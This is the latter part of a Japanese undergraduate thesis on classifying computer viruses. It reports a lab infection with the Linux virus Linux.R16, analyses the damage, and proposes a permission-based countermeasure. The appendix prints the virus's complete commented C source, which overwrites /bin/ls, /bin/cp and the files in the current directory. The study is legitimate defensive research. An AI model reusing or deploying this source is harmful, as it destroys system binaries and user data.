今回、第 2 章で提案を行った分類方法において、ファイル感染型に分類されるコンピュータウイルスの一つ、Linux.R16（今回行った命名方法では f-Linux.R16）というウイルスを新種のウイルスと見立て、コンピュータに感染させることで、コンピュータが新種のウイルスに感染した状態を想定した。ここで何故、第 2 章において行った分類のうちファイル感染型のウイルスを実験に用いたのかその理由を述べると、3.1 節においても少し触れたが、本研究で提案した分類方法において、ファイル感染型とその他の分類項目に分類されるコンピュータウイルスに関しては、これらのウイルスがコンピュータに感染した時に、その活動と 2 次感染を防ぐ有効な独自の対策方法が提案できず、ウイルス対策プログラムに頼るほかないという消極的な対策しか提案をしていない。よって、今回の実験によりこれらの対策方法に関する何らかの対策の情報や知見が得られればと思い、この 2 つの分類項目の内からファイル感染型の分類項目に該当するウイルスの一つ Linux.R16 を実験に用いた。なお、実験環境は以下の様であった。

OS　Red hat Linux 6.2J
CPU　AMD 466MHz
RAM　240MB
日立製 PC
感染ウイルス名　Linux.R16(C 言語にて記述されている)

上記環境において、Linux を起動後 root 権限により一般ユーザ toto いう名のユーザとホームディレクトリをつくり、そこで上記のコンピュータウイルスがこのユーザのホームディレクトリに侵入し、その侵入を知らずにユーザ toto はこのウイルス本体であるプログラム a.out を正規の Linux 上のプログラムと思い込み実行したと想定して実験を行った。

（実験状況）

はじめに、一般ユーザ toto として Linux にログインし toto のホームディレクトリ内でこのウイルスそのものである a.out を実行したところ、uf!ou!shit!という文字が画面に表

示されたが、これ以外の文字や警告などは表示されず、また、toto のディレクトリ内のファイルに関しても、何ら変更や改変が加えられた形跡は、ls コマンドで確認した限りにおいては認められなかった。また、Linux のシステム自体に特に異常な点は認められなかった。よって、このことからこの Linux.R16 というウイルスは一般ユーザの権限では活動出来ないのではないかと推測した。

次に su コマンドにより root 権限になり、再度、toto のホームディレクトリ内でこのウイルスそのものである a.out を実行したところ、今度は Linux のシステムに明らかな変化が認められた。まず、ls コマンドを実行すると zzz..という表示が繰り返され、ls コマンド本来の機能であるディレクトリ内に存在するファイルの一覧が表示されなくなった。確認のため数回 ls コマンドを実行させても zzz..という表示が繰り返されファイルの一覧表示はされなかった。また、同様に cp コマンドを実行させてファイルのコピーを行おうとしても ls コマンドの実行時と同様に zzz..という表示が繰り返され、ファイルのコピーが出来ない状態となっていることが分かった。このままでは ls、cp などのコマンドが何故使えなくなったのか、また、システムにどのような変化が起きているのか観察できないため、それを調べるためにコマンドのバックアップとして tmp ディレクトリにコピーしておいた ls コマンドにより、Linux ではこられのコマンドを含んだ通常使用されるコマンド群が格納されている bin ディレクトリ内を表示させると、図 1 の太字で示したものに見られるように ls、および、cp コマンドのファイルサイズが 59100 Jan 29 12:26 と 59100 Jan 29 12:18 で同じものとなっていた。また、toto のホームディレクトリ内のファイルの一覧が図 2 のようになっており、toto のディレクトリ内に作成されているサブディレクトリを除いて全てのファイルのサイズと日付が 59100 Jan 29 12:11 に変わっていた。これらファイル変更の日付からこのウイルスは、まず、自分が存在するカレントディレクトリ内の全てのファイルをファイル名はそのままで自分自身で中身を上書きしていることが分かった（図 2)。しかし、自分自身が存在するカレントディレクトリに存在するサブディレクトリとその中のファイルに関しては、何ら変更は認められなかった。また、a.out を実行後、最もよく使われるコマンド群が保存されている bin ディレクトリ内の ls と cp コマンドのみが、ファイル名は変えずにこのウイルス自身で上書きされることが分かった（図 1)。

図 1　実行結果（ただし、bin ディレクトリ内のコマンドの一部を表示　　太字はウイルスに感染したもの）

```
合計 5020
drwxr-xr-x    2 root     root         4096 Jan 29 12:26 .
drwxr-xr-x   18 root     root         4096 Dec  7 23:35 ..
lrwxrwxrwx    1 root     root            4 Dec 22 13:18 awk -> gawk
```

```
lrwxrwxrwx    1 root     root            3 Dec 22 13:17 bsh -> ash
-rwxr-xr-x    1 root     root         9528 Feb  7  2000 cat
-rwxr-xr-x    1 root     root        12044 Mar  8  2000 chgrp
-rwxr-xr-x    1 root     root        13436 Mar  8  2000 chmod
-rwxr-xr-x    1 root     root        11952 Mar  8  2000 chown
-rwxr-xr-x    1 root     root        59100 Jan 29 12:18 cp
lrwxrwxrwx    1 root     root            4 Dec 22 13:21 csh -> tcsh
-rwxr-xr-x    1 root     root        25680 Mar  7  2000 date
-rwxr-xr-x    1 root     root        26576 Mar  8  2000 dd
-rwxr-xr-x    1 root     root        24816 Mar  8  2000 df
-rwxr-xr-x    1 root     root         4016 Mar  7  2000 dmesg
lrwxrwxrwx    1 root     root            8 Dec 22 13:20 dnsdomainname -> hostname
-rwxr-xr-x    1 root     root         2448 Mar  9  2000 doexec
lrwxrwxrwx    1 root     root            8 Dec 22 13:20 domainname -> hostname
-rwxr-xr-x    1 root     root         6792 Mar  7  2000 echo
-rwxr-xr-x    1 root     root        65520 Feb  4  2000 ed
-rwxr-xr-x    1 root     root        75600 Feb  4  2000 egrep
lrwxrwxrwx    1 root     root            2 Dec 22 13:22 ex -> vi
-rwxr-xr-x    1 root     root         4320 Mar  7  2000 false
-rwxr-xr-x    1 root     root        75600 Feb  4  2000 fgrep
lrwxrwxrwx    1 root     root           14 Dec 22 13:19 fsconf -> /bin/linuxconf
-rwxr-xr-x    2 root     root       166456 Mar 15  2000 gawk
-rwxr-xr-x    2 root     root       166456 Mar 15  2000 gawk-3.0.4+mb1.12
-rwxr-xr-x    1 root     root        75600 Feb  4  2000 grep
lrwxrwxrwx    1 root     root            3 Dec 22 13:21 gtar -> tar
-rwxr-xr-x    3 root     root        46384 Feb 16  2000 gunzip
-rwxr-xr-x    3 root     root        46384 Feb 16  2000 gzip
-rwxr-xr-x    1 root     root         8896 Mar  7  2000 hostname
-rwxr-xr-x    1 root     root        19228 Mar  9  2000 ipcalc
-rwxr-xr-x    1 root     root         7952 Mar  7  2000 kill
-rwx------    1 root     root       767016 Mar  7  2000 linuxconf
-rwxr-xr-x    1 root     root        20240 Mar  8  2000 ln
-rwxr-xr-x    1 root     root        20452 Mar  7  2000 login
-rwxr-xr-x    1 root     root        59100 Jan 29 12:26 ls
-rwxr-xr-x    1 root     mail        62384 Feb  4  2000 mail
-rwxr-xr-x    1 root     root        13696 Mar  8  2000 mkdir
```

図 2　実行結果（ユーザ toto のホームディレクトリの一覧表示　太字はウイルスに感染したもの）

```
bash$ ./ls -la /home/toto
合計 636
drwxrwxrwx   15 root     root         4096 Jan 29 12:04 .
drwxr-xr-x    4 root     root         4096 Jan 29 11:44 ..
-rw-------    1 root     root        59100 Jan 29 12:11 .ICEauthority
-rw-------    1 root     root        59100 Jan 29 12:11 .Xauthority
-rw-------    1 root     root        59100 Jan 29 12:11 .bash_history
drwx------    3 root     root         4096 Jan 29 11:44 .enlightenment
drwx------    8 root     root         4096 Jan 29 11:44 .gnome
drwxrwxr-x    4 root     root         4096 Jan 29 11:44 .gnome-desktop
drwxr-xr-x    2 root     root         4096 Jan 29 11:44 .gnome-help-browser
drwx------    2 root     root         4096 Jan 29 11:44 .gnome_private
-rw-rw-r--    1 root     root        59100 Jan 29 12:11 .gtkrc
drwxrwxr-x    2 root     root         4096 Jan 29 11:44 .mc
-rw-rw-r--    1 root     root        59100 Jan 29 12:11 .mh_profile
drwxrwxr-x    5 root     root         4096 Jan 29 11:44 .netscape
drwxrwxr-x    3 root     root         4096 Jan 29 11:44 .sawmill
drwx------    3 root     root         4096 Jan 29 11:44 .xauth
drwx------    2 root     root         4096 Jan 29 11:44 C
drwx------    2 root     root         4096 Jan 29 11:44 Mail
-rw-rw-r--    1 root     root        59100 Jan 29 12:11 RH.com
-rw-rw-r--    1 root     root        59100 Jan 29 12:11 RHgnome
-rw-rw-r--    1 root     root        59100 Jan 29 12:11 RHldp
drwx------    2 root     root         4096 Jan 29 11:44 TEMP
-rwxrwxr-x    1 toto     toto        59100 Jan 29 12:11 a.out
drwx------    2 root     root         4096 Jan 29 11:44 nsmail
```

3.3 ウイルスのコード解析とその対策

3.2 節において、コンピュータにウイルス Linux.R16 を感染させる実験を行い、その症状を観察した。本節ではこのウイルスの感染実験で観察された症状、事柄とソースコードを手がかりにウイルスの解析を行い、ウイルスの動作を検証すると共にその対策方法のための知見が得られないか検証を行った。

今回、コンピュータに感染させたウイルス Linux.R16 は C 言語で書かれている。そのソースコードについてコード解析を行ったものが付録 3 にある。

付録 3 を参考にしてこのウイルスを分析すると、まず、このウイルスは OS のファイルを開くためのシステムコール open を利用してファイルを開き、システムコール read によりウイルスサイズとして 59100 バイト分を確保する。次に、3.2 節の感染実験では気づかなかったが、システムコール creat により bin ディレクトリ以外の usr ディレクトリ内にも自分自身の複製を、ファイルの所有者であるユーザとグループのユーザからはアクセスされないようにファイルの許可属性を------- r - x にして密かに作成していることが分かった。また、これに加えファイルの全ての許可属性を 0 にしたファイル tmp001x.not を usr ディレクトリ内に作成することが分かった(図 3)。この作業の後に ls と cp コマンドの症状で見られたように、bin ディレクトリ内の ls と cp コマンド自体のファイルを全てのユーザが実行許可を持つ状態で、ウイルス自身でコマンド名は変更せずに上書きして、ファイルの中身をウイルスそのものにすり替えを行っていた。なお、この bin ディレクトリ内の ls と cp コマンドをこれらと同じ名前で自分自身の複製を作成することは感染実験においても観察されたことであった。

また、このウイルスは自分自身が存在するカレントディレクトリ内のファイルに関して、読み込めるものはすべて読みこみ、ファイル名は元の名前と同じままで、自分自身で中身を上書きし置き換えていることが分かった。このことから bin ディレクトリ内へと ls と cp コマンドを装い、侵入を果たしたこのウイルスは、時間がたてばこの bin ディレクトリ内でもウイルスが読み込み可能なファイルについてはしらみつぶしに読み込み、自分自身ですべて上書きしてしまうものと思われる。なお、このウイルスを一般ユーザ権限で実行したときに、画面に表示されていた文字は、ウイルスが自分自身でファイルを上書きできなかったときの失敗を表す印であることがコード解析より分かった。

最後にこのウイルスの特徴となっている点は、感染標的であるファイルを見つけるために、Linux 上でプログラムが実行している状態を表すプロセスとなっている時に、プロセスがファイルにアクセス可能であるかどうかを確かめるためのシステムコール access を正規のプロセス同様に利用していることである。このシステムコール access によりプロセスがファイル処理時に参照するファイルの許可属性についての情報を、このウイルスは同様にシステムコール access により得て、このファイルの許可属性を常に監視することでファイルにアクセスが可能であると判断されれば感染を行うことが分かった。このことから、このウイルスの感染拡大を防ぐにはこのファイルごとに付加されている許可属性を読み取ら

せないようにするか、ファイルの読み込み許可が許されていないようにファイルの許可属性を偽装すれば対策が取れるのではないかと考えた。

図 3　usr ディレクトリの一覧（太字はウイルスに感染したもの）

```
bash$ ./ls -la /usr
合計 168
drwxr-xr-x   19 root     root         4096 Jan 29 12:10 .
drwxr-xr-x   18 root     root         4096 Dec  7 23:35 ..
drwxr-xr-x    8 root     root         4096 Aug  2  1998 X11R6
drwxr-xr-x    2 root     root        20480 Jan 25 22:42 bin
drwxr-xr-x    2 root     root         4096 Feb  7  1996 dict
drwxr-xr-x  162 root     root         4096 Feb  7  1996 doc
drwxr-xr-x    2 root     root         4096 Feb  7  1996 etc
drwxr-xr-x    2 root     root         4096 Dec 22 13:21 games
drwxr-xr-x    3 root     root         4096 Sep 30 09:17 i486-linux-libc5
drwxr-xr-x   25 root     root         4096 Dec 27 19:27 include
drwxr-xr-x    2 root     root         8192 Dec 27 19:27 info
drwxr-xr-x    3 root     root         4096 Sep 30 09:17 kerberos
drwxr-xr-x   38 root     root        12288 Dec 27 19:28 lib
drwxr-xr-x    6 root     root         4096 Dec 22 13:16 libexec
drwxr-xr-x   11 root     root         4096 Aug  2  1998 local
drwxr-xr-x   18 root     root         4096 Dec 22 13:21 man
drwxr-xr-x    2 root     root         4096 Dec 22 13:22 sbin
-------r-x    1 root     root        59100 Jan 29 12:18 sexloader
drwxr-xr-x   48 root     root         4096 Dec 22 13:20 share
drwxr-xr-x    3 root     root         4096 Feb  7  1996 src
lrwxrwxrwx    1 root     root           10 Sep 30 09:05 tmp -> ../var/tmp
----------    1 root     root            0 Jan 29 12:10 tmp001x.not
```

3.4 動作検証と解析作業のついての考察

本章ではウイルス対策プログラムのベンダーにおいて、ウイルス解析者が行うウイルスの解析作業に関連して、ベンダーが行っているウイルス解析と全く同じ手法ではないがウイルスの解析を試み、ウイルスの動作と解析作業に必要な労力についての検証を行うことを一つの実験の目的とした。また、もう一つの目的として本研究で提案した分類方法においてコンピュータのユーザがウイルスに感染した時に行う対策方法が消極的であると思われたファイル感染型のウイルスについて、その対策のための新しい知見が得られないか調査するために、コンピュータへのウイルス感染実験を行うことで検証を行った。

その結果、まず、コンピュータウイルスの解析に関しては、実際の解析作業を行っているウイルス解析者が述べるように、多くの労力を必要とすることが判明した。3.2 節で行った実験に供したウイルスのソースコードは、コードだけなら 100 行にも満たないコード数のウイルスであり、しかも、C 言語で書かれているため解読は難しく無いと考えられる。それでも、このウイルスの動作の調査や解析には十時間以上の時間が今回必要であった。よって実際の新種のウイルスの解析では、まず、バイナリコードの状態のウイルスを逆アセンブラした後、生成されたアセンブラによるコードを解析することからも実際のウイルス解析の現場において、短時間で有効なウイルスに対する予防、駆除、対策情報を作成することを求められるウイルス解析者の作業はかなりの労力が要求されるものであると思われる。加えて、感染力が強く、複雑で多様な機能を持った新種のウイルスがますます増加する現在の状況下では、ウイルスの命名と分類方法を統一するのに労力を裂く事は確かに現状では難しく、また、そのことの重要性は低いと考えるのも当然であると思われた。また、本実験では一つのウイルスに対して動作解析による検証と報告を行っているが、実際のウイルス解析者は、はるかに多くの新種のウイルスを短時間で解析する必要に迫られており、それをも考え合わせるとコンピュータウイルスの命名と分類方法の確立にあてる労力は自ずと限られるものと思われる。よって、これらのことからもシマンテックの研究者が述べることは現状は事実であり、本実験から得たことも考え合わせるとおそらく当分の間は世界的に統一された命名と分類方法の確立は望めないと考える。

次に本研究で提案した分類方法において、独自の積極的な対策方法が提案出来なかったファイル感染型のウイルスについて、その対策のための知見を得ることをもう一つの目的として行った今回のコンピュータへのウイルス感染実験について、その結果に関連させて考察を述べる。

結論から先に述べると、この分類項目に該当するウイルス全体に有効な一般的な対策を採るための知見は残念ながら得られなかったが、実験に用いたファイル感染型に分類されるウイルスについて OS が Linux の場合、この種のファイルに感染するウイルスに対する対策のための知見が得られた。

今回、実験に用いたウイルス Linux.R16 は、ファイル全体を自分自身で上書きしてしまうファイル感染型のウイルスである。このウイルスは実行されるとまず、自分が存在する

ディレクトリ内のファイルをアクセスが可能なものは全て同名で中身を上書きする。そして、次に bin ディレクトリ内の ls と cp コマンドを自分自身でユーザに気付かれずに同名のまま中身をウイルス自身で置き換える。このためコンピュータのユーザは ls、および、cp の両コマンドが使えないことを何らかのシステム上の問題と勘違いし、繰り返しこれらのコマンドの実行を試みる。また、これらのコマンドを用いてシステムの診断と修復を試みる。この作業がこのウイルスの感染を拡大する引き金となっており、おそらくこのウイルスの作者もそれを意図して、ls と cp コマンドを上書きするように設計したものと推測される。

Bin ディレクトリ内のウイルスはユーザのこのシステムの復旧作業に乗じて、ウイルス自体である ls と cp が実行される度に、さらに bin ディレクトリ内の他のコマンドに対しても自分自身によって名前はそのままで中身を上書きして感染を広げる。しかも、bin ディレクトリ内のコマンドはユーザが普段よく使う一般的なコマンドが格納されているため、ユーザがウイルスの感染に気付かずにコマンドが使えないのはシステムの異常と勘違いし、ユーザがシステムを直そうとコンピュータを使い続ければ続けるほどウイルスは感染を拡大し、最後にはウイルスにシステムのファイルの大多数が乗っ取られることとなる。

このウイルスは 3.3 節のコード解析で見たように、常に感染するファイルへのアクセスの許可属性をチェックしている。ファイルへ許可属性は Linux の OS へのシステムコール access により、ファイル毎にファイル情報を格納している stat、および、dirent 構造体から情報を得る。よって、ウイルスが感染標的であるファイル毎の情報、すなわち stat、および、dirent 構造体からシステムコール access を用いて情報を得ようとする動作を阻止するか、読み込み不可を表すような偽の情報を与えればこのウイルスは感染することが出来ないと考えられ、このことを利用すれば OS が Linux の場合、このタイプのウイルスへの対策が可能になるのではないかと考えた。しかし、一方でこの方法は正規のプロセスが同様にファイルにアクセスするときにも同じ仕組みでファイルにアクセスすると考えられるので、ウイルスと正規のプロセスによるファイルへのアクセスをどの様に判別するか、その点がこの対策方法を採ることの難しい問題として新たに持ち上がることが判明した。

以上、コンピュータへの実際のウイルス感染実験と付録 3 の Linux.R16 のソースコードから、このウイルスの特徴はよく使われるコマンドである ls と cp コマンドの実体であるファイルを、同じファイル名を持った自分自身の複製で置き換えること。また、それに先立ち２つの自分自身の複製を usr ディレクトリ内に密かに作成した後は、自分自身が存在するディレクトリのファイルに手当たり次第に感染することで広がるウイルスであり、その手法は元からあるファイル名をそのまま利用して、自分自身でディレクトリ内に存在するファイル自体の中身を置き換え、ユーザに感染を気づかれにくくする点にある。さらに Linux という OS の特徴であるファイルにプロセスがアクセスするときにチェックを行うファイルごとの許可属性をプロセス同様に常に調査しながら感染標的のファイルを探し、感染活動を行っていることがこのウイルスの特徴であると考えられる。そして、このことは

OS が Linux の場合において、ファイル感染型であるこのタイプのウイルスの感染拡大にファイルの許可属性の情報が必要であると考えられ、この情報を何らかの形でウイルスが読み取れない仕組みにすればこのウイルスの感染の拡大は防止できるのではないかという一つの知見が得られた。

第4章　結論

本研究では、コンピュータウイルスの命名と分類方法に関して世界的に統一されたものが無く、現在用いられているものでは煩雑でありユーザに混乱をもたらし、また、ウイルスに対する対策方法がすぐには分からないのではないかと考え、これを改善するために、より簡明な命名と分類方法の新しい提案を行った。そして、この新しい提案における分類方法とこれまでの分類方法を比較した場合、ウイルスの把握のしやすさとその簡単な対策法を有していることを特徴とする利点があることが分かったが、ファイル感染型やその他に分類されるウイルスに対しては簡単なウイルスへの対策方法が無く、この点に関してはより簡単な対策方法の確立が必要であり、改良の余地があることが分かった。

コンピュータウイルスの命名と分類方法に関して世界的に統一されたものが作成されないのは、命名と分類方法の確立にウイルス対策者が労力を避けないでいる現状があることが指摘されている。この点に関して、実際にウイルスをコンピュータに感染させる動作検証実験を通して、ウイルスの解析作業、その対策、予防、駆除の情報を導き出す作業がどれくらい労力の要るものであるのか検証を行った結果、相当な労力が必要であることが確認された。また、このウイルスの動作検証とその解析を通して、本研究で提案した分類方法においてファイル感染型やその他に分類されるウイルスに対してユーザが採ることが出来る簡単なウイルスへの対策方法が提案できなかったことに関し、OS が Linux でファイル感染型のウイルスの場合に、ウイルスが感染の標的とするファイルへのアクセス情報を読み取らせないということで感染を防止する対策方法を作成するための一つの知見を得ることが出来た。しかし、正規のプロセスからのファイルアクセスとウイルスからのファイルアクセスをどの様に区別するのかという、対策方法を確立するための新たな課題も判明した。

ウイルスの検証実験よりウイルスの解析には多くの労力が必要であることがわかり、このことがコンピュータウイルスの命名と分類方法に関して、世界的に統一されたものの作成を妨げる要因となっていることが判明した。そして、この状況は今後も続くため当分の間、命名と分類方法は統一されることはないであろうと推測した。

今後の展望として、本研究で行った分類の提案において、より一般的で簡単な対策方法が提案できていないファイル感染型とその他の分類項目について、より一般的でユーザにとって簡単な対策方法を確立することが課題である。また、これまでとは全く違った新種のウイルスについて、新しく提案した分類においてはどの様に分類と命名をするべきか、そして、その対策方法の提案をどの様にするかが課題であるが、これは実際にその新種のウイルスが出現しないと対応できない面も持ち合わせていると考えられる。

謝辞

本研究を進めるにあたり、ゼミを中心に最後まで温かく熱心な御指導、御助言をいただきました田中章司郎教授に深く感謝の意を表すとともに心より御礼申し上げます。また、コンピュータウイルスの実験用のコンピュータを用意していただいた田中研究室の大学院生高木さん、同じく大学院生の喜代吉さん、鷲見さん、長田さんには本研究に関する数々の御協力と御助言をいただいただけでなく研究室においていろいろとお世話になり、ここに厚く御礼申し上げます。また、同じ学部生である下田さん、本村さん、樋上さんにもいろいろと御協力、御助言いただいたことに御礼申し上げます。なお、本研究で作成したプログラム、発表資料等などのすべての著作権を田中章司郎教授に譲渡いたします。

参考文献、サイト、Web 記事

参考文献

[1] 棟上昭男、中村達、小門寿明編著、1996 年、ウィルス退治
共立出版株式会社、ISBN4-320-02688-8

[2] 中村由輝、2003 年、しくみがわかるコンピュータウイルス
株式会社池田書店、ISBN4-262-14554-9

[3] 中村達、1998 年、コンピュータウイルス不正アクセス対策マニュアル
株式会社プレジデント社、ISBN4-8334-1657-3

[4] Cui Zhandong、Aoki Yoshinao、1994 年
Classification of Computer Viruses
情報処理学会全国大会講演論文集、第 49 回平成 6 年後期、page:357-358

[5] 久野耕介、藤田和久、2001 年度卒業研究、ウイルスについて
岡山理科大学総合情報学部数理情報学科、澤見研究室
http://cafe.mis.ous.ac.jp/2002/sawasemi/

[6] 後藤訓重、2001 年度卒業論文、コンピュータウィルスの現状とその対策
福山大学工学部情報処理工学科
http://web.fuip.fukuyama-u.ac.jp/kenkyu/ozeki/member/h13/pdf/goto.pdf

[7] 鈴木貴宏、1993 年、江戸川大学におけるコンピュータウィルスの実態と意識
1993 年度卒業論文、江戸川大学社会学部応用社会学科
http://www.edogawa-u.ac.jp/~takata/sotsuron/e9060076ts/e9060076ts.html

[8] Brunnstein,K.、Fischer,Hubner,S.、Swimmer,M.、1990 年
Classification of computer anomalies
13th National Computer Security Conference.
Information Systems Security.Standards-the Key to the Future,p374-83 vol.1

サイト

[9] ZDNN http://www.zdnet.co.jp/

[10] シマンテック http://www.symantec.com/region/jp/

[11] トレンドマイクロ http://www.trendmicro.com/jp

[12] ワクチンバンク http://www.vaccinebank.or.jp/

[13] Sophos http://www.sophos.co.jp/virusinfo/articles/glossary.html

[14] マイクロソフト http://www.microsoft.com/japan/

[15] 情報処理振興事業協会（IPA） http://www.ipa.go.jp/

Web 記事

[16] Jacob Bryant、1997 年

Computer Viruses And Their Impact

http://zeus.sequoias.cc.ca.us/staff/machuca/Research%20Paper_files/F2000/Jacob%20Bryant's%20Research%20Paper%20(web).htm

[17] Frej Drejhammar、1996 年

Computer Viruses Trojans and Logical Bombs

http://www.d.kth.se/~d95-fdr/compvir.html

[18] Sarah Gordon、2002 年、ウイルスのネーミングを取り巻く問題

Symantec Security Response、SC Magazine 誌 2002 年 6 月号

http://www.symantec.com/region/jp/sarcj/reference/whatsiname.pdf

[19] Robert Vamosi、2003 年、ウイルスの名前をもっとシンプルに！

http://www.itmedia.co.jp/news/0301/08/cead_vamosi.html

付録

付録１

情報処理振興事業協会（IPA）が平成 3 年 9 月 18 日に公表したコンピュータウイルスコード命名法。ただし、ここでは分かりやすくするために少し表現を変えたり、表を作り直している。

命名の方針

既に海外で確認済みのウイルスについてはそのまま使用する。国内で新たに発見されたウイルスに対して以下の基準に従って出来る限り無機質な名称を付ける。

ウイルスコード名 ＝ OS ＋ 感染場所（複数可）＋ 発病状況（複数可）＋ 届出順通番

各項目に対して次の表のような記号を用いてコンピュータウイルスを命名する。

OS	記号	感染場所	記号	発病状況	記号
MS-DOS（PC-DOS）	D	BOOT セクター（パーティションテーブル、SRAM を含む）	B	OS 部の破壊	0
Macintosh	M	OS（IO.SYS、MSDOS.SYS、COMMAND.COM）	S	FAT の破壊	f
UNIX	U	アプリケーション（EXE、COM、OVL ファイル）	A	プログラム破壊	p
その他	T	その他（Macintosh 等の場合）	T	データ破壊	d
				メッセージ表示	m
				ハングアップ	h
				発病なし	n
				その他	t

情報処理振興事業協会　平成３年９月１８日

付録２

コンピュータウイルスの具体例の対応表（表２～８に対応）

対応記号	コンピュータウイルスの具体例	対応記号	コンピュータウイルスの具体例
A	YankeeDoodle	A1	Flip-2153
B	Dapdm-13	B1	PE_NIMDA.A
C	Dan-23	C1	WORM_MTX.A
D	DBmh-14	D1	GP1
E	Liberty	E1	BKDR_QAZ.A
F	Anti-Telefonica	F1	TROJ_APHER.H
G	DBmh-14	G1	PETER2
H	Dapdm-2	H1	CDEF
I	Liberty	I1	Sadmind
J	Anticmos	J1	Christmasworm
K	Dsofmh-10	K1	VBS.LoveLetter.A
L	(Trojan.Slanret.B)	L1	JS_FLUG.A
M	Cascade	M1	StrangeBrew
N	Tequila	N1	ATVX_EXPLODER
O	W97.Melissa.A	O1	Kampana
P	Worm.ExploreZip	P1	W2KM_MARKER.B
Q	PALM_LIBERTY.A	Q1	JS_KAKWORM.A
R	W32.Kles@mm	R1	BeanHive
S	Laroux	S1	JAVA_TRIPLETRT
T	Trojan	T1	HTML_ACTIVEX.A
U	Casino	U1	Tequila
V	GreenCaterpillar	V1	WORM_SKA.A
W	Concept	W1	Dsofmh-9
X	W32.Nimda.A@mm	X1	MULTI-2-B
Y	Code Red	Y1	Worm_Blebla.B
Z	MULTI-2-B	Z1	(JOKE_GHOST.A)
		A2	JOJO
		B2	INIT29
		C2	Slapper

注意（　）がついたものは本研究ではウイルスとして扱ってはいないもの

付録３

以下のものは Linux に感染するコンピュータウイルス Linux.R16 の C 言語によるソースコードである。このコンピュータウイルスは第 2 章で提案した分類方法において、ファイル感染型の分類項目に該当するウイルスである。なお、理解を助けるためソースコードにはコメントが入れてある。

```
 //読み込まれるヘッダファイル
#include<stdio.h> //標準入出力用
#include<dirent.h> //ディレクトリストリームとディレクトリエントリの書式定義
                   //システムコール opendir、readdir、closedir が定義されている
#include<sys/stat.h>//プロセスが利用できるファイルの状態の属性情報をコピーする
                     //stat 構造体が定義されている
#include<sys/types.h> //dev_t（デバイス番号)、ino_t（i ノード番号）などの
                       //stat 構造体の定義がある
#include<fcntl.h> //システムコール write、read、access で利用されるフラグ用
#include<unistd.h>  //システムコール write、read、access、close が定義されている

#define  VirusSize 59100  //定数宣言  コンパイルしたときのこのウイルスの大きさ

//ここからプログラム本体が始まる
int  main(int argc, char *argv[]) //コマンド行引数
 {    //変数宣言
       ssize_t ret;
           int handle, bytes, retn;
          char *buff[256], *ch, virus[VirusSize], pathname[1024];
struct dirent  *dirp;
           DIR *dp;

//システムコール open によりファイルを読み込み専用で開き、handle にセットする
     handle=open(argv[0], O_RDONLY);

//システムコール read によりファイルディスクリプターhandle から
//VirusSize 分のバイトを virus で始まるバッファに読み込む
     read(handle, virus, VirusSize);
```

```
//システムコール creat はファイルまたはデバイスのオープン、作成を行なう。
//ただし、初期の Unix との互換性のために存在するシステムコールである。
//この場合、/usr/sexloader というファイルを作成している。このとき他人が読み込み、
//書き込み、実行の許可を持つ状態にする。
       handle=creat("/usr/sexloader", 7);

//ファイルを作成するのに失敗したときは uf!と表示する
      if(handle==-1)
        { printf("uf!");    }

//システムコール write はファイルディスクリプターhandle から VirusSize 分の
//バイトを virus で始まるバッファに書き込む
      write(handle, virus, VirusSize);

//システムコール creat はファイルまたはデバイスのオープン、作成を行なう。
//この場合、/bin/cp というファイルを作成している。このとき他人が読み込み、書き込み、
//実行の許可を持つ状態にする。
       handle=creat("/bin/cp", 7);

//ファイルを作成するのに失敗したときは ou!と表示する
      if(handle==-1)
       { printf("ou!");    }

//システムコール write はファイルディスクリプターhandle から VirusSize 分の
//バイトを virus で始まるバッファに書き込む
      write(handle, virus, VirusSize);

//システムコール creat はファイルまたはデバイスのオープン、作成を行なう。
//この場合、/bin/ls というファイルを作成している。このとき他人が読み込み、
//書き込み、実行の許可を持つ状態にする。
       handle=creat("/bin/ls", 7);

//ファイルを作成するのに失敗したときは Shit!と表示する
      if(handle==-1)
       { printf("Shit!");    }
```

```
//システムコール write はファイルディスクリプターhandle から VirusSize 分の
//バイトを virus で始まるバッファに書き込む
     write(handle, virus, VirusSize);

//システムコール open によりファイルを読み込み専用で開き、handle にセットする
//この場合、/usr/tmp0001x.not というファイルを開いている。
handle=open("/usr/tmp001x.not", O_RDWR);

//ファイルを開くのに失敗したときはファイル/usr/tmp001x.not を
//読み込み、実行、書き込みのすべての属性をつけずに作成し、handle にセットする
  if(handle==-1)
    { handle=creat("/usr/tmp001x.not", 0);

    if(handle==-1)
    {
    //システムコール write はファイルディスクリプターhandle により
    //以下の文章を書き込むよう ret にセット
     retn=write(handle,    "Contact me:"
                           "\n\n"
                           "Radix16.cjb.net"
                           "\n"
                           "Radix16@atlas.cz", 11+2+15+1+16 );

//ファイルを書き込むのに失敗したときは処理を終了する
     if(retn==-1)
      { exit(0);     }

//以下を表示する
     printf("\n\n");
     printf("\t\t""Linux.R16 by Radix16[MIONS]" "\n");  // (c)oded
     printf("\t\t""I'am free virus for Linux " "\n");  // Print text(textrezim)
     printf("\t\t""Made in Czech republic" "\n");      //  My World
     printf("\n\n");
     exit (retn);
     }
   }
```

```
//システムコール opendir は"."で指定した名前のディレクトリストリームを開き、
//そのポインタを返すが、これが NULL のときは
      if( (dp=opendir(".")) == NULL)
        { printf("hech!"); //hech と表示して終了
          exit (1);       }

//システムコールreaddirはdpが指しているディレクトリからdirent構造体を読み込み、
//dp で指さされたポインタを返す。
      readdir(dp);
      readdir(dp);

      while(1) //常に真
        {  if( (dirp=readdir(dp)) == NULL)
           //システムコール readdir での読み込みに失敗したなら
           { closedir(dp);
//システムコール closedir で dp が指している dirent 構造体へのポインタを閉じる
           return(0);     } //終了

//システムコール access は pathname で指定される名前を持つファイル(または他の
//ファイルシステム上のオブジェクト) に対してプロセスから読み込み、書き込みが
//実行が許されているかファイルへのアクセス権のチェックを行なう。この場合、dirent
//構造体で示すファイルへの書き込み属性、または、実行属性が 0 以下で
//あるのなら処理を終了させる
            if( access(dirp->d_name, X_OK | W_OK) < 0 )
              { exit(-1);     }

//システムコール creat はファイルまたはデバイスのオープン、作成を行なう。
//この場合、dirent 構造体で示すファイルを作成している。このとき他人が
//読み込み、書き込み、実行の許可を持つ状態にする。
            handle=creat(dirp->d_name, 7);
            if(handle==-1) //作成に失敗したのなら zzz..と表示
              { printf("zzz..");    }

//システムコール write はファイルディスクリプターhandle から
//VirusSize 分のバイトを virus で始まるバッファに書き込む
            write(handle, virus, VirusSize);
```

```
        }
            close(handle); //ファイルディスクリプターhandle を開放する
            exit (retn); //書き込みの終了
} //End of main
```